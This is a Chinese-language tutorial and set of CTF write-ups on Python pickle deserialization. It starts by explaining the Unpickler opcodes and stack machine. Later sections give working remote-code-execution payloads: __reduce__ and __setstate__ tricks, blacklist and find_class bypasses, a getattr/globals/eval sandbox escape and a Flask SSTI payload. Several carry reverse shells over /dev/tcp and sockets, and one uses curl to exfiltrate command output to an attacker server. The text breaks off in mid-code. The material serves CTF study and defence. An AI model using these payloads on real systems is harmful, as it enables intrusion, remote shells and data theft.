Pickle构造原理

0x00 Pickle是干什么用的:序列化、反序列化

在很多任务中,我们可能会需要把一些内容存储起来,以备后续利用。如果我们要存储的内容只是一条字符串或是数字,那么我们只需要把它写进文件就行。然而,如果我们需要存储的东西是一个dict、一个list,甚至一个对象:

1
2
3
4
5
6
class dairy():
date = 20191029
text = "今天哈尔滨冷死人了QAQ"
todo = ['大物实验报告', 'CTF题', 'CSAPP作业']

today = dairy()

要把这样的dairy实例today存放在文件里,日后还要支持随时导入,就是很麻烦的事情了。通行的做法是:通过一套方案,把这个today 翻译成一个字符串,然后把字符串写进文件;读取的时候,通过读文件拿到字符串,然后翻译dairy类的一个实例。

我们把“对象 -> 字符串”的翻译过程称为“序列化”;相应地,把“字符串 -> 对象”的过程称为“反序列化” 。需要保存一个对象的时候,就把它序列化变成字符串;需要从字符串中提取一个对象的时候,就把它反序列化。各大语言都有序列化库,而很多时候,不恰当的反序列化会成为攻击的目标。在后文我们将深入探讨其利用方式。

Python提供的序列化库是pickle. 下面,我们举一个例子来说明其工作方式:

img序列化与反序列化

在这里,我们定义了一个很复杂的对象交给x,然后执行pickle.dumps(x),来把x翻译成字符串。**这个字符串又臭又长,不过我们在接下来的章节中会详细讲如何阅读它。**接下来,把这个字符串翻译成对象交给r,可以发现r已经是我们最开始打包的那个复杂对象。

存储字符串比存储对象方便得多——这就是pickle的意义所在。工作过程如下图:

img把对象序列化成字符串,然后就可以方便地存储、传输了

这就是pickle最基础的使用方法。pickle不仅可以读写字符串,也可以读写文件:只需要采用pickle.dump()pickle.load().

另外有一点需要注意:对于我们自己定义的class,如果直接以形如date = 20191029的方式赋初值,**则这个date不会被打包!**解决方案是写一个__init__方法, 也就是这样:

img注意自己定义的class,一定要把初值写进__init__

0x01 pickle.loads机制:调用_Unpickler类

pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler类。代码实现如下:

imgload和loads接口

可以看出,_load_loads基本一致,都是把各自输入得到的东西作为文件流,喂给_Unpickler类;然后调用_Unpickler.load()实现反序列化。

所以,接下来的任务就很清楚了:读一遍_Unpickler类的源码,然后弄清楚它干了什么事。

0x02 _Unpickler类:莫得感情的反序列化机器

在反序列化过程中,_Unpickler(以下称为机器吧)维护了两个东西:栈区和存储区。结构如下(本图片仅为示意图):

img机器维护的两个结构

是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。

存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。

您可以想象,一台机器读取我们输入的字符串,然后操作自己内部维护的各种结构,最后吐出来一个结果——这就是我们莫得感情的_Unpickler。为了研究它,也为了看懂那些乱七八糟的字符串,我们需要一个有力的调试器。这就是pickletools

0x03 pickletools:良心调试器

pickletools是python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。我们一般使用前两种。来看看效果吧:

img

img原始字符串的反汇编结果

这就是反汇编功能:解析那个字符串,然后告诉你这个字符串干了些什么。**每一行都是一条指令。**接下来试一试优化功能:

img

img优化后的结果

可以看到,字符串s比以前短了很多,而且反汇编结果中,BINPUT指令没有了。所谓“优化”,其实就是把不必要的PUT指令给删除掉。这个PUT意思是把当前栈的栈顶复制一份,放进储存区——很明显,我们这个class并不需要这个操作,可以省略掉这些PUT指令。

利用pickletools,我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法……总之,是我们调试的利器。现在手上有了工具,我们开始研究这个字符串是如何被pickle解读的吧。

以下内容建议对照pickle的源码来阅读。您可以这样找到pickle源码的位置:

img

0x04 反序列化机器:语法严格、向前兼容

pickle构造出的字符串,有很多个版本。在pickle.loads时,可以用Protocol参数指定协议版本,例如指定为0号版本:

img依据0号协议所编码的字符串

目前这些协议有0,2,3,4号版本,默认为3号版本。这所有版本中,0号版本是人类最可读的;之后的版本加入了一大堆不可打印字符,不过这些新加的东西都只是为了优化,本质上没有太大的改动。

一个好消息是,pickle协议是向前兼容的。0号版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。

刚刚说过,字符串中包含了很多条指令。这些指令一定以一个字节的指令码(opcode)开头;接下来读取多少内容,由指令码来决定(严格规定了读取几个参数、参数的结束标志符等)。指令编码是紧凑的,一条指令结束之后立刻就是下一条指令。

一起来分析一个小例子:

img

第一行是字符串,接下来是这个字符串的反汇编结果

  1. 字符串的第一个字节是\x80(这个操作符于版本2被加入)。机器看到这个操作符,立刻再去字符串读取一个字节,得到x03。解释为“这是一个依据3号协议序列化的字符串”,这个操作结束。

  2. 机器取出下一个字符作为操作符——c。这个操作符(称为GLOBAL操作符)对我们以后的工作非常有用——它连续读取两个字符串modulename,规定以\n为分割;接下来把module.name这个东西压进栈。那么现在读取到的两个字符串分别是__main__Student,于是把__main__.Student扔进栈里。

    注:GLOBAL操作符读取全局变量,是使用的find_class函数。而find_class对于不同的协议版本实现也不一样。总之,它干的事情是“去x模块找到y”,y必须在x的顶层(也即,y不能在嵌套的内层)。

  3. 程序的车轮继续滚滚向前。它遇到了)这个操作符。它的作用是“把一个空的tuple压入当前栈”。处理完这个操作符之后

  4. 接下来程序读取到了x81操作符。它的作用是:从栈中先弹出一个元素,记为args;再弹出一个元素,记为cls。接下来,执行cls.__new__(cls, *args) ,然后把得到的东西压进栈。说人话,那就是:从栈中弹出一个参数和一个class,然后利用这个参数实例化class,把得到的实例压进栈。
      容易看出,上面的操作全都执行完了之后,栈里面还剩下一个元素——它是被实例化了的Student对象,目前这里面什么也没有,因为当初实例化它的时候,args是个空的数组。

  5. 让我们继续分析。程序现在读入了一个},它的意思是“把一个空的dict压进栈”。

  6. 然后是MARK操作符(,这个操作符干的事情称为load_mark

    • 当前栈这个整体,作为一个list,压进前序栈
    • 当前栈清空。
        现在您知道为什么栈区要分成当前栈和前序栈两部分了吗?前序栈保存了程序运行至今的(不在顶层的)完整的栈信息,而当前栈专注于处理顶层的事件。
        讲到这里,我们不得不介绍另一个操作——pop_mark。它没有操作符,只供其他的操作符来调用。干的事情自然是load_mark的反向操作:
    • 记录一下当前栈的信息,作为一个list,在load_mark结束时返回。
    • 弹出前序栈的栈顶,用这个list来覆盖当前栈
      load_mark相当于进入一个子过程,而pop_mark相当于从子过程退出,把栈恢复成调用子过程之前的情况。所有与栈的切换相关的事情,都靠调用这两个方法来完成。因此load_markpop_mark是栈管理的核心方法。
        回到我们这个程序,继续看MARK之后的内容:
      img
  7. 下一个操作符是V。它的意义是:读入一个字符串,以\n结尾;然后把这个字符串压进栈中。我们看到这里有四个V操作,它们全都执行完的时候,当前栈里面的元素是:(由底到顶)name, rxz, grade, G2。前序栈只有一个元素,是一个list,这个list里面有两个元素:一个空的Student实例,以及一个空的dict

  8. 现在我们看到了u操作符。它干这样的事情:

    • 调用pop_mark。也就是说,把当前栈的内容扔进一个数组arr,然后把当前栈恢复到MARK时的状态。
      执行完成之后,arr=['name', 'rxz', 'grade', 'G2'];当前栈里面存的是__main__.Student这个类、一个空的dict
    • 拿到当前栈的末尾元素,规定必须是一个dict
      这里,读到了栈顶那个空dict
    • 两个一组地读arr里面的元素,前者作为key,后者作为value,存进上一条所述的dict
        模拟一下这个过程,发现原先是空的那个dict现在变成了{'name': 'rxz', 'grade': 'G2'}这样一个dict。所以现在,当前栈里面的元素是:__main__.Student的一个空的实例,以及{'name': 'rxz', 'grade': 'G2'}这个dict
  9. 下一个指令码是b,也就是BUILD指令。它干的事情是:

    • 把当前栈栈顶存进state,然后弹掉。
    • 把当前栈栈顶记为inst,然后弹掉。
    • 利用state这一系列的值来更新实例inst。把得到的对象扔进当前栈。

    注:这里更新实例的方式是:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。
    事实上,这里产生了一个安全漏洞。您可以想一想该如何利用。

  10. 上面的事情干完之后,当前栈里面只剩下了一个实例——它的类型是__main__.Student,里面name值是rxzgrade值是G2。下一个指令是.(一个句点,STOP指令),pickle的字符串以它结尾,意思是:“当前栈顶元素就是反序列化的最终结果,把它弹出,收工!”

注:使用pickletools.dis分析一个字符串时,如果.执行完毕之后栈里面还有东西,会抛出一个错误;而pickle.loads没有这么严格的检查——它会正常结束。
  当所有的事情干完之后,我们得到了什么呢?如下图所示:
img反序列化大成功
  至此我们完成了一个简单例子的分析。刚刚我们通过手动模拟这台机器的运行过程,理解了pickle反序列化的原理——如何处理指令、如何管理栈等等。这已经足够我们把握pickle的思想,剩余的就是细枝末节的东西了。

但是,细枝末节的东西,往往暗藏着漏洞 :)

Bypass

http://blog.nsfocus.net/绕过-restrictedunpickler/

Python反序列化漏洞的花式利用

0x01 __reduce__:(曾经的)万恶之源

在写下本文之前,CTF竞赛对pickle的利用多数是在__reduce__方法上。它的指令码是R,干了这么一件事情:

  • 取当前栈的栈顶记为args,然后把它弹掉。
  • 取当前栈的栈顶记为f,然后把它弹掉。
  • args为参数,执行函数f,把结果压进当前栈。

class的__reduce__方法,在pickle反序列化的时候会被执行。其底层的编码方法,就是利用了R指令码。 f要么返回字符串,要么返回一个tuple,后者对我们而言更有用。

一种很流行的攻击思路是:利用 __reduce__ 构造恶意字符串,当这个字符串被反序列化的时候,__reduce__会被执行。网上已经有海量的文章谈论这种方法,所以我们在这里不过多讨论。只给出一个例子:正常的字符串反序列化后,得到一个Student对象。我们想构造一个字符串,它在反序列化的时候,执行ls /指令。那么我们只需要这样得到payload:

imgoptimize加不加无所谓,这里为了我们查看汇编结果方便,就加上了优化

现在把payload拿给正常的程序(Student类里面没有__reduce__方法)去解析:

img即使Student类是正常的,pickle.loads仍然执行了os.system('ls /')

一个样例如下:

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/env python
# encoding: utf-8
import os
import pickle
class test(object):
def __reduce__(self):
return (os.system,('ls',))

a=test()
payload=pickle.dumps(a)
print payload
pickle.loads(payload)

其中pickle.loads是会解决import 问题,对于未引入的module会自动尝试import。那么也就是说整个python标准库的代码执行、命令执行函数我们都可以使用。 之前把python的标准库都大概过了一遍,把其中绝大多数的可用函数罗列如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen

除开我们常见的那些os库、subprocess库、commands库之外还有很多可以执行命令的函数,这里用举两个不常用的:

1
2
3
4
5
map(__import__('os').system,['bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',])

sys.call_tracing(__import__('os').system,('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',))

platform.popen("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'")

那么,如何过滤掉reduce呢?由于__reduce__方法对应的操作码是R,只需要把操作码R过滤掉就行了。这个可以很方便地利用pickletools.genops来实现。

如果reduce这一套手段被过滤,我们应该如何利用呢?以下就是本篇文章的正题。

0x02 绕过函数黑名单:奇技淫巧

有一种过滤方式:不禁止R指令码,但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python’s-Revenge。给了好长好长一串黑名单:

1
black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.open, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.open, posixfile.fileopen]

可惜platform.popen()不在名单里,它可以做到类似system的功能。这题死于黑名单有漏网之鱼。

另外,还有一个解(估计是出题人的预期解),那就是利用map来干这件事:

1
2
3
class Exploit(object):
def __reduce__(self):
return map,(os.system,["ls"])

总之,黑名单不可取。要禁止reduce这一套方法,最稳妥的方式是禁止掉R这个指令码。

0x03 全局变量包含:c指令码的妙用

有这么一道题,彻底过滤了R指令码(写法是:只要见到payload里面有R这个字符,就直接驳回,简单粗暴)。现在的任务是:给出一个字符串,反序列化之后,name和grade需要与blue这个module里面的name、grade相对应

img目标是取得well done

不能用R指令码了,不过没关系。还记得我们的c指令码吗?它专门用来获取一个全局变量。我们先弄一个正常的Student来看看序列化之后的效果:

img

如何用c指令来换掉这两个字符串呢?以name的为例,只需要把硬编码的rxz改成从blue引入的name,写成指令就是:cblue\nname\n。把用于编码rxzX\x03\x00\x00\x00rxz替换成我们的这个global指令,来看看改造之后的效果:

imgload一下,发现真的引入了blue里面的变量

把这个payload进行base64编码之后传进题目,得到well done。

img

顺带一提,由于pickle导出的字符串里面有很多的不可见字符,所以一般都经过base64编码之后传输。

0x04 绕过c指令module限制:先读入,再篡改

之前提到过,c指令(也就是GLOBAL指令)基于find_class这个方法, 然而find_class可以被出题人重写。如果出题人只允许c指令包含__main__这一个module,这道题又该如何解决呢?

通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改!

有了这个知识作为前提,我们可以干这么一件事:

  • 通过__main__.blue引入这一个module,由于命名空间还在main内,故不会被拦截
  • 把一个dict压进栈,内容是{'name': 'rua', 'grade': 'www'}
  • 执行BUILD指令,会导致改写 __main__.blue.name__main__.blue.grade ,至此blue.nameblue.grade已经被篡改成我们想要的内容
  • 弹掉栈顶,现在栈变成空的
  • 照抄正常的Student序列化之后的字符串,压入一个正常的Student对象,name和grade分别是’rua’和’www’

由于栈顶是正常的Student对象,pickle.loads将会正常返回。到手的Student对象,当然name和grade都与blue.name、blue.grade对应了——我们刚刚亲手把blue篡改掉。

1
payload = b'\x80\x03c__main__\nblue\n}(Vname\nVrua\nVgrade\nVwww\nub0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'

img绿框区域完成了篡改

img

题目返回了well done,而且此时blue.grade已经变成www,可见我们真的篡改了blue.

0x05 不用reduce,也能RCE

之前谈到过,__reduce__R指令是绑定的,禁止了R指令就禁止了__reduce__ 方法。那么,在禁止R指令的情况下,我们还能RCE吗?这就是本文研究的重点。

现在的目标是,利用指令码,构造出任意命令执行。那么我们需要找到一个函数调用fun(arg),其中funarg都必须可控。

审pickle源码,来看看BUILD指令(指令码为b)是如何工作的:

imgBUILD指令实现

这里的实现方式也就是上文的注所提到的:如果inst拥有__setstate__方法,则把state交给__setstate__方法来处理;否则的话,直接把state这个dist的内容,合并到inst.__dict__ 里面。

它有什么安全隐患呢?我们来想想看:Student原先是没有__setstate__这个方法的。那么我们利用{'__setstate__': os.system}来BUILE这个对象,那么现在对象的__setstate__就变成了os.system;接下来利用"ls /"来再次BUILD这个对象,则会执行setstate("ls /") ,而此时__setstate__已经被我们设置为os.system,因此实现了RCE.

payload构造如下:

1
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb.'

img

执行结果:

img

成功RCE!接下来可以通过反弹shell来控制靶机了。

有一个可以改进的地方:这份payload由于没有返回一个Student,导致后面抛出异常。要让后面无异常也很简单:干完了恶意代码之后把栈弹到空,然后压一个正常Student进栈。payload构造如下:

1
payload = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVls /\nb0c__main__\nStudent\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x05\x00\x00\x00gradeX\x03\x00\x00\x00wwwub.'

img绿色框内为恶意代码

img

没有抛出异常。

至此,我们完成了不使用R指令、无副作用的RCE。Congratulations!

0x06 一些细节

、**其他模块的load也可以触发pickle反序列化漏洞。**例如:numpy.load()先尝试以numpy自己的数据格式导入;如果失败,则尝试以pickle的格式导入。因此numpy.load()也可以触发pickle反序列化漏洞。

二、即使代码中没有import osGLOBAL指令也可以自动导入os.system。因此,不能认为“我不在代码里面导入os库,pickle反序列化的时候就不能执行os.system”。

三、**即使没有回显,也可以很方便地调试恶意代码。**只需要拥有一台公网服务器,执行os.system('curl your_server/ls / | base64),然后查询您自己的服务器日志,就能看到结果。这是因为:以```引号包含的代码,在sh中会直接执行,返回其结果。

下面给出一个例子:

1
payload  = b'\x80\x03c__main__\nStudent\n)\x81}(V__setstate__\ncos\nsystem\nubVcurl 47.***.***.105/`ls / | base64`\nb.'

imgpayload

imgpickle.loads()效果

img

pickle.loads()时,ls /的结果被base64编码后发送给服务器(红框);我们的服务器查看日志,就可以得到命令执行结果。因此,在没有回显的时候,我们可以通过curl把执行结果送到我们的服务器上。

上文发出去的请求缺了一段,是因为url没有加引号。

0x07 input函数

相信有童鞋已经敏锐的注意到了这个input函数,这个通常很难进入大家的视线。 这个函数也仅在python2中能够利用,在之前的博客python深入学习(三):从py2到py3 中提到过为什么。 这个函数在python2中是能够执行python代码的。但是有一个问题就是这个函数是从标准输入获取字符串,所以怎么利用就是一个问题,不过相信大家看到我 hook pickle的load的方法就知道这里该怎么利用了,我们可以利用StringIO库,然后将标准输入修改为StringIO创建的内存缓冲区即可。 接下来,我们以在hitb 2018中的python revenge为例来说明怎么把这个函数用起来。 首先关于pickle 的数据流协议在python2里面有三种,python3里面有五种,默认的是0,具体可以看看勾陈安全实验室的Python Pickle的任意代码执行漏洞实践和Payload构造,其中对协议进行说明,这里搬运下:

1
2
3
4
5
6
c:读取新的一行作为模块名module,读取下一行作为对象名object,然后将module.object压入到堆栈中。
(:将一个标记对象插入到堆栈中。为了实现我们的目的,该指令会与t搭配使用,以产生一个元组。
t:从堆栈中弹出对象,直到一个“(”被弹出,并创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须跟它们压入堆栈时的顺序一致。然后,该元组被压入到堆栈中。
S:读取引号中的字符串直到换行符处,然后将它压入堆栈。
R:将一个元组和一个可调用对象弹出堆栈,然后以该元组作为参数调用该可调用的对象,最后将结果压入到堆栈中。
.:结束pickle。

好的我们来构造一下这个input函数

1
2
3
4
c__builtin__
input
(S'input: '
tR.

然后我们要想办法修改一下标准输入,正常python2里面我们一般这样修改

python_pickle

但是在pickle的0号协议中,我们不能用等于符号,但是我们可以用setattr函数

python_pickle2

好的现在万事就绪了,只需要把这一套用上述协议转换一下就行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
c__builtin__
setattr
(c__builtin__
__import__
(S'sys'
tRS'stdin'
cStringIO
StringIO
(S'__import__('os').system(\'curl 127.0.0.1:12345\')'
tRtRc__builtin__
input
(S'input: '
tR.

直接反弹shell就行了

1
2
3
a='''c__builtin__\nsetattr\n(c__builtin__\n__import__\n(S'sys'\ntRS'stdin'\ncStringIO\nStringIO\n(S'__import__('os').system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')'\ntRtRc__builtin__\ninput\n(S'python> '\ntR.'''

pickle.loads(a)

0x08 任意函数构造

在勾陈安全实验室的文章中,提到了一个types.FunctionType配上marshal.loads的方法,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import marshal

def foo():
import os
os.system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')

payload="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload="""ctypes
FunctionType
(cmarshal
loads
(S'%s'
tRc__builtin__
globals
(tRS''
tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')

pickle.loads(payload)

这里不再赘述,同样的思路我们还有一些别的方法,例如和types.FunctionType几乎一样的函数new.function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import base64
import marshal

def foo():
import os
os.system('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"')

payload="""cnew
function
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR."""%base64.b64encode(marshal.dumps(foo.func_code))

pickle.loads(payload)

payload="""cnew
function
(cmarshal
loads
(S'%s'
tRc__builtin__
globals
(tRS''
tR(tR."""%marshal.dumps(foo.func_code).encode('string-escape')

pickle.loads(payload)

0x09 类函数构造

这里主要使用new.classobj函数来构造一个类函数对象然后执行,这样就可以调用原有库的一些函数,也可以自己构造。

1
2
3
payload=pickle.dumps(new.classobj('system', (), {'__getinitargs__':lambda self,arg=('bash -c "bash -i >& /dev/tcp/127.0.0.1/12345 0<&1 2>&1"',):arg, '__module__': 'os'})())

pickle.loads(payload)

lambda语句也可以换成上述提到的new.function或是types.FunctionType的构造。

既然有了这种思路,那么new库里面的提到的很多东西都可以转换思路了。有兴趣可以去研究一下

0x10 构造SSTI

本来这是一个打算用于以后的一个点的,但是这次有人用这种方法做出来了,那我也就分享一下了。说道要找执行代码的函数,不久前的qwb和hitb我都特意采用了Flask框架。而要知道Flask的render_template_string所引发的SSTI漏洞则又是另一个可利用的点了。

1
payload="cflask.templating\nrender_template_string\np0\n(S\"{% for x in (().__class__.__base__.__subclasses__()) %}{%if x.__name__ =='catch_warnings'%}{{x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')}}{%endif%}{%endfor%}\"\np1\ntp2\nRp3\n."

快速回顾

pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式,下文内容也只涉及protocol=0的方式。

和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:

  • stack 栈
  • memo 一个列表,可以存储信息

我们还是以最常用的那个payload来看起,首先将payload b'cposix\nsystem\np0\n(Vtouch /tmp/success\np1\ntp2\nRp3\n.' 写进一个文件,然后使用如下命令对其进行分析:

1
python -m pickletools pickle

可见,其实输出的是一堆OPCODE:

Code-Breaking中的两个Python沙箱

protocol 0的OPCODE是一些可见字符,比如上图中的 cp( 等。

我们在Python源码中可以看到所有opcode(所有的放在文末):

Code-Breaking中的两个Python沙箱

上面例子中涉及的OPCODE我做下解释:

  • c :引入模块和对象,模块名和对象名以换行符分割。( find_class 校验就在这一步,也就是说,只要c这个OPCODE的参数没有被 find_class 限制,其他地方获取的对象就不会被沙盒影响了,这也是我为什么要用getattr来获取对象)
  • ( :压入一个标志到栈中,表示元组的开始位置
  • t :从栈顶开始,找到最上面的一个 ( ,并将 (t 中间的内容全部弹出,组成一个元组,再把这个元组压入栈中
  • R :从栈顶弹出一个可执行对象和一个元组,元组作为函数的参数列表执行,并将返回值压入栈上
  • p :将栈顶的元素存储到memo中,p后面跟一个数字,就是表示这个元素在memo中的索引
  • VS :向栈顶压入一个(unicode)字符串
  • . :表示整个程序结束

知道了这些OPCODE,我们很容易就翻译出 __reduce__ 生成的这段pickle代码是什么意思了:

1
2
3
4
5
6
7
8
9
10
0: c    GLOBAL     'posix system' # 向栈顶压入`posix.system`这个可执行对象
14: p PUT 0 # 将这个对象存储到memo的第0个位置
17: ( MARK # 压入一个元组的开始标志
18: V UNICODE 'touch /tmp/success' # 压入一个字符串
38: p PUT 1 # 将这个字符串存储到memo的第1个位置
41: t TUPLE (MARK at 17) # 将由刚压入栈中的元素弹出,再将由这个元素组成的元组压入栈中
42: p PUT 2 # 将这个元组存储到memo的第2个位置
45: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
46: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到memo的第3个位置
49: . STOP # 结束整个程序

显然,这里的memo是没有起到任何作用的。所以,我们可以将这段代码进一步简化,去除存储memo的过程:

1
2
3
4
cposix
system
(Vtouch /tmp/success
tR.

这一段代码仍然是可以执行命令的。当然,有了memo可以让编写程序变得更加方便,使用 g 即可将memo中的内容取回栈顶。

那么,我们来尝试编写绕过沙盒的pickle代码吧。

首先使用 c ,获取 getattr 这个可执行对象:

1
2
cbuiltins
getattr

然后我们需要获取当前上下文,Python中使用 globals() 获取上下文,所以我们要获取 builtins.globals

1
2
cbuiltins
globals

Python中globals是个字典,我们需要取字典中的某个值,所以还要获取 dict 这个对象:

1
2
cbuiltins
dict

上述这几个步骤都比较简单,我们现在加强一点难度。现在执行 globals() 函数,获取完整上下文:

1
2
3
cbuiltins
globals
(tR

其实也很简单,栈顶元素是builtins.globals,我们只需要再压入一个空元组 (t ,然后使用 R 执行即可。

然后我们用 dict.get 来从globals的结果中拿到上下文里的 builtins对象 ,并将这个对象放置在memo[1]:

1
2
3
4
5
6
7
8
9
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1

到这里,我们已经获得了阶段性的胜利, builtins 对象已经被拿到了:

Code-Breaking中的两个Python沙箱

接下来,我们只需要再从这个没有限制的 builtins 对象中拿到eval等真正危险的函数即可:

1
2
3
4
5
6
...
cbuiltins
getattr
(g1
S'eval'
tR

g1就是刚才获取到的 builtins ,我继续使用getattr,获取到了 builtins.eval

再执行这个eval:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("id")'
tR.

Code-Breaking中的两个Python沙箱

成功绕过沙盒。


CTF题目

高校战"疫"

分析
考点是pickle反序列化,过滤掉了 R 指令码,并且重写了 find_class:

1
2
3
4
5
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

这就禁止引用除了 __main__ 之外的其他module,但是如果通过GLOBAL指令引入的变量,可以看作是原变量的引用。我们在栈上修改它的值,会导致原变量也被修改
于是可以先引入__main__.secret这个module,然后把一个 dict 压入栈,内容是 {'name': 'xx', 'category': 'yyy'},之后执行 build指令,改写 __main__.secret.name __main__.secret.category,此时 secret.name和 secret.category 已经变成我们想要的内容
之后再压入一个正常的 Animal对象,name和category分别是 xx和yyy最后构造的pickle数据如下
b"\x80\x03c__main__\nsecret\n}(Vname\nVxx\nVcategory\nVyyy\nub0c__main__\nAnimal\n)\x81}(S'name'\nS'xx'\nS'category'\nS'yyy'\nub."

编码为base64提交即可
gANjX19tYWluX18Kc2VjcmV0Cn0oVm5hbWUKVnh4ClZjYXRlZ29yeQpWeXl5CnViMGNfX21haW5fXwpBbmltYWwKKYF9KFMnbmFtZScKUyd4eCcKUydjYXRlZ29yeScKUyd5eXknCnViLg==

SUCTF 2019 Guess_game

完整源码:https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game

猜数游戏,10 以内的数字,猜对十次就返回 flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# file: Ticket.py
class Ticket:
def __init__(self, number):
self.number = number

def __eq__(self, other):
if type(self) == type(other) and self.number == other.number:
return True
else:
return False

def is_valid(self):
assert type(self.number) == int

if number_range >= self.number >= 0:
return True
else:
return False

# file: game_client.py
number = input('Input the number you guess\n> ')
ticket = Ticket(number)
ticket = pickle.dumps(ticket)
writer.write(pack_length(len(ticket)))
writer.write(ticket)

client 端接收数字输入,生成的 Ticket 对象序列化后发送给 server 端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# file: game_server.py 有删减
from guess_game.Ticket import Ticket
from guess_game.RestrictedUnpickler import restricted_loads
from struct import unpack
